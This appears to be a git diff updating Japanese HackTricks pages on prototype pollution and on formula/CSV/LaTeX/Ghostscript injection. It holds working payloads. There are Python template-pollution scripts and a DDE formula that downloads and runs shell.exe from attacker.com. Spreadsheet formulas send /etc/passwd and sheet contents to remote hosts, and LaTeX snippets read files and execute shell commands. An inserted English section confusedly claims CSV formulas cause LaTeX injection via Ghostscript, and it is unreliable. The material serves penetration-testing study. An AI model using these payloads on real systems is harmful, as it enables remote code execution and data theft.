||||
*/
|
||||
```
|
||||
**例**
|
||||
上記のコードは、攻撃者がHandlebarsテンプレートに任意のコードをインジェクトする方法を示しています。
|
||||
|
||||
[https://github.com/hughsk/flat/issues/105](https://github.com/hughsk/flat/issues/105)
|
||||
**外部参照**: [ 'flat'ライブラリにおけるプロトタイプ汚染に関連する問題](https://github.com/hughsk/flat/issues/105)
|
||||
|
||||
Pythonにおけるプロトタイプ汚染の例:
|
||||
```python
|
||||
import requests
|
||||
|
||||
TARGET_URL = 'http://p6.is:3000'
|
||||
TARGET_URL = 'http://10.10.10.10:9090'
|
||||
|
||||
# make pollution
|
||||
requests.post(TARGET_URL + '/vulnerable', json = {
|
||||
|
|
@ -475,13 +329,15 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
|||
# execute
|
||||
requests.get(TARGET_URL)
|
||||
```
|
||||
### Pug
|
||||
#### Pugの脆弱性
|
||||
|
||||
詳細情報は[https://blog.p6.is/AST-Injection/#Pug](https://blog.p6.is/AST-Injection/#Pug)にあります。
|
||||
Handlebarsと同様に、Pugもプロトタイプ汚染を介して悪用される可能性があります。詳細は[AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug)で確認できます。
|
||||
|
||||
Pugにおけるプロトタイプ汚染の例：
|
||||
```python
|
||||
import requests
|
||||
|
||||
TARGET_URL = 'http://p6.is:3000'
|
||||
TARGET_URL = 'http://10.10.10.10:9090'
|
||||
|
||||
# make pollution
|
||||
requests.post(TARGET_URL + '/vulnerable', json = {
|
||||
|
|
@ -494,31 +350,36 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
|||
# execute
|
||||
requests.get(TARGET_URL)
|
||||
```
|
||||
## 防ぐにはどうすればいいですか？
|
||||
### 予防策
|
||||
|
||||
プロトタイプ汚染のリスクを軽減するために、以下の戦略を考慮してください：
|
||||
|
||||
1. **オブジェクトの不変性**：`Object.freeze`を使用して`Object.prototype`を不変にします。
|
||||
2. **入力の検証**：アプリケーションのスキーマに基づいてJSON入力を厳密に検証します。
|
||||
3. **安全なマージ関数**：危険な再帰マージ関数の使用を避けます。
|
||||
4. **プロトタイプのないオブジェクト**：プロトタイププロパティを持たないオブジェクトを作成するために`Object.create(null)`を使用します。
|
||||
5. **Mapの使用**：キーと値のペアには`Object`の代わりに`Map`を選択します。
|
||||
6. **ライブラリの更新**：定期的にライブラリを更新してセキュリティパッチを組み込みます。
|
||||
|
||||
|
||||
* `Object.freeze` を使ってプロパティを凍結する（`Object.prototype`）
|
||||
* アプリケーションのスキーマに従ってJSON入力に対するバリデーションを行う
|
||||
* 再帰的なマージ関数を安全でない方法で使用しない
|
||||
* プロトタイプチェーンに影響を与えないように、`Object.create(null)` のようなプロトタイププロパティを持たないオブジェクトを使用する
|
||||
* `Object` の代わりに `Map` を使用する
|
||||
* 定期的にライブラリの新しいパッチを更新する
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
* [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
|
||||
* [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
* [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS hacking をゼロからヒーローまで学ぶ</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または **HackTricksをPDFでダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や [**telegramグループ**](https://t.me/peass)に**参加する**、または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を **フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのhackingトリックを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローしてください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,35 +1,35 @@
|
|||
# フォーミュラ/CSV/Doc/LaTeX/GhostScript インジェクション
|
||||
# フォーミュラ/CSV/ドキュメント/LaTeX/GhostScript インジェクション
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
- **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする
|
||||
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
脆弱性を迅速に特定し、修正する。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムまで、テクノロジースタック全体にわたる問題を見つけ出す。今日[**無料で試す**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
最も重要な脆弱性を見つけて修正を迅速化します。Intruder は攻撃対象を追跡し、積極的な脅威スキャンを実行し、API から Web アプリやクラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) 今すぐ。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## フォーミュラインジェクション
|
||||
## フォーミュラ インジェクション
|
||||
|
||||
### 情報
|
||||
|
||||
あなたの**入力**が**CSVファイル**内で**反映されている**場合（または**Excel**で開かれる可能性のある他のファイル）、ユーザーがファイルを**開いたとき**やExcelシート内のリンクを**クリックしたとき**に**実行される**Excelの**フォーミュラ**を挿入することができるかもしれません。
|
||||
もし、あなたの **入力** が **CSVファイル**（またはおそらく **Excel で開かれる可能性のある他のファイル**）内に **反映** されている場合、Excel **フォーミュラ**を入れることができ、ユーザーがファイルを開いたり、Excel シート内のリンクをクリックしたりすると **実行** されるかもしれません。
|
||||
|
||||
{% hint style="danger" %}
|
||||
現在、**Excelは**外部から何かがロードされたときにユーザーに**警告**します（何度も）悪意のある行動を防ぐためです。したがって、最終的なペイロードには、特別なソーシャルエンジニアリングが必要です。
|
||||
現在、**Excel は外部から読み込まれたものを警告**します（何度も）ユーザーが悪意ある行動を防ぐために。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意が必要です。
|
||||
{% endhint %}
|
||||
|
||||
### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
|
@ -43,40 +43,42 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### ハイパーリンク
|
||||
|
||||
**以下の例は、最終的なExcelシートからの内容の流出を行い、任意の場所へのリクエストを実行するのに非常に有用です。しかし、ユーザーがリンクをクリックし（警告プロンプトを受け入れる必要があります）。**
|
||||
**次の例は、最終的なExcelシートからコンテンツを外部に持ち出し、任意の場所にリクエストを実行するのに非常に役立ちます。ただし、リンクをクリックして（警告プロンプトを受け入れる必要があります）。**
|
||||
|
||||
[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) からの例
|
||||
次の例は、[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) から取得されました。
|
||||
|
||||
学校の学生記録管理システムの攻撃シナリオを想定しましょう。アプリケーションは教師が学校の学生の詳細を入力することを許可しています。攻撃者はアプリケーションにアクセスし、アプリケーションを使用するすべての教師を危険にさらしたいと考えています。そこで攻撃者は、Webアプリケーションを介してCSVインジェクション攻撃を試みます。
|
||||
攻撃者は他の学生の詳細を盗む必要があります。そこで攻撃者はハイパーリンク式を使用し、学生の詳細を入力する際にそれを入力します。
|
||||
学生記録管理システムでのセキュリティ侵害がCSVインジェクション攻撃を介して悪用されると想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを危険にさらすことです。この方法は、攻撃者が悪意のあるペイロードをアプリケーションに注入し、具体的には学生の詳細用のフィールドに有害な数式を入力することで実行されます。攻撃は次のように展開されます：
|
||||
|
||||
|
||||
1. **悪意のあるペイロードの注入:**
|
||||
- 攻撃者は学生の詳細フォームを送信しますが、スプレッドシートで一般的に使用される数式（例：`=HYPERLINK("<malicious_link>","Click here")`）を含めます。
|
||||
- この数式はハイパーリンクを作成するように設計されていますが、それは攻撃者が制御する悪意のあるサーバーを指します。
|
||||
|
||||
教師がCSVをエクスポートしてハイパーリンクをクリックすると、機密データが攻撃者のサーバーに送信されます。
|
||||
2. **侵害されたデータのエクスポート:**
|
||||
- 侵害に気づかない教師は、データをCSVファイルにエクスポートするためにアプリケーションの機能を使用します。
|
||||
- 開かれたCSVファイルには、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。
|
||||
|
||||
|
||||
3. **攻撃のトリガー:**
|
||||
- 教師が学生の詳細の正当な部分と信じてハイパーリンクをクリックします。
|
||||
- クリックすると、機密データ（スプレッドシートや教師のコンピュータからの詳細を含む可能性があります）が攻撃者のサーバーに送信されます。
|
||||
|
||||
エクスポートされたCSVファイルには悪意のあるペイロードが含まれています。
|
||||
4. **データの記録:**
|
||||
- 攻撃者のサーバーは、教師のコンピュータから送信された機密データを受信して記録します。
|
||||
- 攻撃者はその後、このデータをさまざまな悪意のある目的に使用し、学生や機関のプライバシーとセキュリティをさらに危険にさらすことができます。
|
||||
|
||||
|
||||
|
||||
学生の詳細は攻撃者のWebサーバーに記録されています。
|
||||
|
||||
|
||||
|
||||
### RCE
|
||||
|
||||
この例が機能するためには、**以下の設定を有効にする必要があります**：\
|
||||
ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツ → 動的データ交換サーバーの起動を有効にする\
|
||||
または**古いExcelバージョン**の使用。
|
||||
この例が機能するためには、**次の構成を有効にする必要があります**：\
|
||||
ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツ → ダイナミックデータ交換サーバーランチを有効にする\
|
||||
または**古いExcelバージョン**を使用する必要があります。
|
||||
|
||||
良いニュースは、**このペイロードはファイルが開かれたときに自動的に実行される**ことです（ユーザーが警告を受け入れた場合）。
|
||||
良いニュースは、**このペイロードはファイルが開かれるときに自動的に実行される**ことです（ユーザーが警告を受け入れた場合）。
|
||||
|
||||
以下のペイロードで計算機を実行することが可能です **`=cmd|' /C calc'!xxx`**
|
||||
次のペイロードで計算機を実行することが可能です **`=cmd|' /C calc'!xxx`**
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
|
||||
|
||||
### さらに
|
||||
### もっと
|
||||
```bash
|
||||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||||
```
|
||||
|
|
@ -84,29 +86,29 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
|
||||
**LibreOffice Calc**
|
||||
|
||||
* これにより、ローカルの /etc/passwd ファイルの最初の行が読み取られます: `='file:///etc/passwd'#$passwd.A1`
|
||||
* それを抽出します: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* 複数行を抽出する: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* DNS抽出: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
|
||||
* ローカルの/etc/passwdファイルから1行目を読み取ります：`='file:///etc/passwd'#$passwd.A1`
|
||||
* 漏洩させます：`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* 複数行を漏洩させます：`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* DNS漏洩：`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
|
||||
|
||||
**DNS抽出ペイロードの分析:**
|
||||
**DNS漏洩ペイロードの解析:**
|
||||
|
||||
* ‘file:///etc/passwd’#$passwd.A19 – ローカルの /etc/passwd ファイルの19行目を読み取ります
|
||||
* ‘file:///etc/passwd’#$passwd.A19 – ローカルの/etc/passwdファイルから19行目を読み取ります
|
||||
* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – 返されたデータをURLエンコードします
|
||||
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – substringに似ていますが、1文字目から41文字目までのデータを読み取ります – DNSホスト名の長さを制限する非常に便利な方法です（FQDNの最大文字数は254文字、ラベル（例：サブドメイン）は63文字）
|
||||
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – URLエンコーディングからの特殊文字である%のすべてのインスタンスをダッシュに置き換えます – これにより、有効なDNS文字のみが使用されることを保証します
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) – 上記の処理が行われた後のファイルからの出力をFQDN（ドメインに対して権限を持つホストにアクセスできる）と連結します
|
||||
* WEBSERVICE – 存在しないDNS名に対してリクエストを行い、その後、制御を持つDNS権威名サーバーのログ（またはtcpdumpなど）を解析します
|
||||
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – サブストリングに類似し、1文字目から41文字目までのデータを読み取ります – DNSホスト名の長さを制限する非常に便利な方法（FQDNに254文字の制限があり、ラベルに63文字の制限があります、つまりサブドメイン）
|
||||
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – %（URLエンコードの特殊文字）のすべてのインスタンスをダッシュに置換します – これにより、有効なDNS文字のみが使用されることが保証されます
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) – ファイルからの出力（上記の処理が行われた後）をFQDN（ドメインの権威を持つホストにアクセスできる）と連結します
|
||||
* WEBSERVICE – この存在しないDNS名にリクエストを行い、その後、ログを解析したり（またはDNS権威名サーバーでtcpdumpなどを実行したり）します。そのドメインに対して権限を持っている
|
||||
|
||||
### Google Sheets OOB Data Exfiltration
|
||||
### Google Sheets OOBデータ漏洩
|
||||
|
||||
まず、いくつかの興味深い関数を紹介しましょう。
|
||||
|
||||
**CONCATENATE**: 文字列を互いに追加します。
|
||||
**CONCATENATE**: 文字列を連結します。
|
||||
```
|
||||
=CONCATENATE(A2:E2)
|
||||
```
|
||||
**IMPORTXML**: XML、HTML、CSV、TSV、RSSおよびATOM XMLフィードを含む様々な構造化データタイプからデータをインポートします。
|
||||
**IMPORTXML**: XML、HTML、CSV、TSV、RSS、ATOM XMLフィードなど、さまざまな構造化データタイプからデータをインポートします。
|
||||
```
|
||||
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
|
||||
```
|
||||
|
|
@ -114,32 +116,32 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
|
||||
```
|
||||
**IMPORTHTML**: HTMLページ内のテーブルまたはリストからデータをインポートします。
|
||||
**IMPORTHTML**: HTMLページ内のテーブルやリストからデータをインポートします。
|
||||
```
|
||||
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
|
||||
```
|
||||
**IMPORTRANGE**: 指定されたスプレッドシートからセル範囲をインポートします。
|
||||
**IMPORTRANGE**: 指定されたスプレッドシートからセルの範囲をインポートします。
|
||||
```
|
||||
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
|
||||
```
|
||||
**IMAGE**: セルに画像を挿入します。
|
||||
**画像**: セルに画像を挿入します。
|
||||
```
|
||||
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
|
||||
```
|
||||
## LaTeX インジェクション
|
||||
## LaTeXインジェクション
|
||||
|
||||
通常、インターネット上で見つかる **LaTeX コードを PDF に変換する** サーバーは **`pdflatex`** を使用します。\
|
||||
このプログラムはコマンド実行を（不）許可するために3つの主要な属性を使用します：
|
||||
通常、**LaTeXコードをPDFに変換**するインターネット上のサーバーは**`pdflatex`**を使用します。\
|
||||
このプログラムは、コマンドの実行を（無効にする）許可するために3つの主要な属性を使用します：
|
||||
|
||||
* **`--no-shell-escape`**: texmf.cnf ファイルで有効になっていても、`\write18{command}` 構造を **無効にする**。
|
||||
* **`--shell-restricted`**: `--shell-escape` と同じですが、**制限された** '安全な' **事前定義された** コマンドのセットに限定されます（**Ubuntu 16.04 ではリストは `/usr/share/texmf/web2c/texmf.cnf` にあります**）。
|
||||
* **`--shell-escape`**: `\write18{command}` 構造を **有効にする**。コマンドは任意のシェルコマンドにすることができます。この構造は通常、セキュリティ上の理由から許可されていません。
|
||||
- **`--no-shell-escape`**：`\write18{command}`構造を無効にします。たとえtexmf.cnfファイルで有効になっていても。
|
||||
- **`--shell-restricted`**：`--shell-escape`と同じですが、'安全'な事前定義された\*\*コマンドに\*\*制限されています（Ubuntu 16.04ではリストが`/usr/share/texmf/web2c/texmf.cnf`にあります）。
|
||||
- **`--shell-escape`**：`\write18{command}`構造を有効にします。コマンドは任意のシェルコマンドです。この構造は通常、セキュリティ上の理由から許可されていません。
|
||||
|
||||
しかし、コマンドを実行する他の方法があるため、RCE を避けるためには `--shell-restricted` の使用が非常に重要です。
|
||||
ただし、コマンドを実行する他の方法もありますので、RCEを回避するために`--shell-restricted`を使用することが非常に重要です。
|
||||
|
||||
### ファイル読み取り <a href="#read-file" id="read-file"></a>
|
||||
### ファイルを読む <a href="#read-file" id="read-file"></a>
|
||||
|
||||
インジェクションを調整するために、\[ や $ などのラッパーが必要になる場合があります。
|
||||
\[または$などのラッパーを使用してインジェクションを調整する必要があるかもしれません。
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
|
@ -147,7 +149,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
\usepackage{verbatim}
|
||||
\verbatiminput{/etc/passwd}
|
||||
```
|
||||
#### 単一行ファイルの読み取り
|
||||
#### 1行のファイルを読む
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/issue
|
||||
|
|
@ -165,7 +167,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
\repeat
|
||||
\closein\file
|
||||
```
|
||||
### ファイル書き込み <a href="#write-file" id="write-file"></a>
|
||||
### ファイルの書き込み <a href="#write-file" id="write-file"></a>
|
||||
```bash
|
||||
\newwrite\outfile
|
||||
\openout\outfile=cmd.tex
|
||||
|
|
@ -174,7 +176,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### コマンド実行 <a href="#command-execution" id="command-execution"></a>
|
||||
|
||||
コマンドの入力はstdinにリダイレクトされます。それを取得するために一時ファイルを使用してください。
|
||||
コマンドの入力は stdin にリダイレクトされます。それを取得するために一時ファイルを使用します。
|
||||
```bash
|
||||
\immediate\write18{env > output}
|
||||
\input{output}
|
||||
|
|
@ -197,7 +199,33 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
LaTexエラーが発生した場合は、不正な文字なしで結果を得るためにbase64の使用を検討してください。
|
||||
### Formula CSV Document LaTeX Ghostscript Injection
|
||||
|
||||
---
|
||||
|
||||
#### Attack Scenario
|
||||
|
||||
An attacker can craft a malicious CSV file containing a formula that, when opened with a vulnerable spreadsheet application, triggers a LaTeX formula injection. This injection can lead to the execution of arbitrary commands on the victim's machine when the CSV file is converted to a PDF using Ghostscript.
|
||||
|
||||
#### Technical Details
|
||||
|
||||
1. Craft a CSV file with a formula that includes LaTeX syntax for executing commands.
|
||||
|
||||
2. Open the malicious CSV file with a spreadsheet application that supports formula calculations.
|
||||
|
||||
3. When the CSV file is converted to a PDF using Ghostscript, the LaTeX formula will be processed, potentially leading to command execution.
|
||||
|
||||
#### Impact
|
||||
|
||||
Successful exploitation of this vulnerability can result in arbitrary command execution on the victim's machine, leading to further compromise and unauthorized access.
|
||||
|
||||
#### Mitigation
|
||||
|
||||
1. Avoid opening untrusted CSV files from unknown sources.
|
||||
|
||||
2. Ensure that spreadsheet applications and related software are regularly updated to patch known vulnerabilities.
|
||||
|
||||
3. Consider using alternative formats such as XLSX that do not support formula injections through LaTeX.
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
|
|
@ -209,14 +237,14 @@ LaTexエラーが発生した場合は、不正な文字なしで結果を得る
|
|||
```
|
||||
### クロスサイトスクリプティング <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
|
||||
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)より
|
||||
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
```bash
|
||||
\url{javascript:alert(1)}
|
||||
\href{javascript:alert(1)}{placeholder}
|
||||
```
|
||||
## Ghostscript Injection
|
||||
|
||||
TODO: [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) から最も関連性の高い情報とテクニックの要約を作成してください。
|
||||
TODO: [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) から、より関連性の高い情報と技術を含む要約を作成します。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
|
@ -227,20 +255,20 @@ TODO: [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://bl
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
より重要な脆弱性を素早く見つけて修正しましょう。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムに至るまでの技術スタック全体で問題を見つけ出します。今日から[**無料でお試し**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
最も重要な脆弱性を見つけて修正を迅速化します。Intruder は攻撃対象を追跡し、積極的な脅威スキャンを実行し、API から Web アプリケーション、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローに学ぶ</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>**ゼロからヒーローまでのAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksに広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスウォッグ**](https://peass.creator-spring.com) を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,162 +2,161 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>をご覧ください！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
